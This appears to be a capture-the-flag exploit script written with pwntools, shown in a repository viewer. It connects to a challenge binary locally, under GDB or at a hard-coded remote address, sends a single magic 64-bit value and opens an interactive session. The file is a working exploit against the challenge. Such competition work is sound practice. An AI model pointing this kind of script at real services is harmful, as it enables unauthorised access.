QWXFB-2024/正式赛/checkin_pwn/exp.py

29 lines
518 B
Python
Raw Normal View History

2024-09-16 11:35:04 +08:00
#!/usr/bin/python3
from pwn import *
filename = "./pwn"
libcname = "/lib/x86_64-linux-gnu/libc.so.6"
host = '116.198.216.209'
port = 3619
elf = context.binary = ELF(filename)
context.terminal = ['tmux', 'neww']
if libcname:
libc = ELF(libcname)
gs = '''
b main
'''
def start():
if args.GDB:
return gdb.debug(elf.path, gdbscript = gs)
elif args.REMOTE:
return remote(host, port)
else:
return process(elf.path)
p = start()
p.sendline(p64(0xf61df61df61df61d))
p.interactive()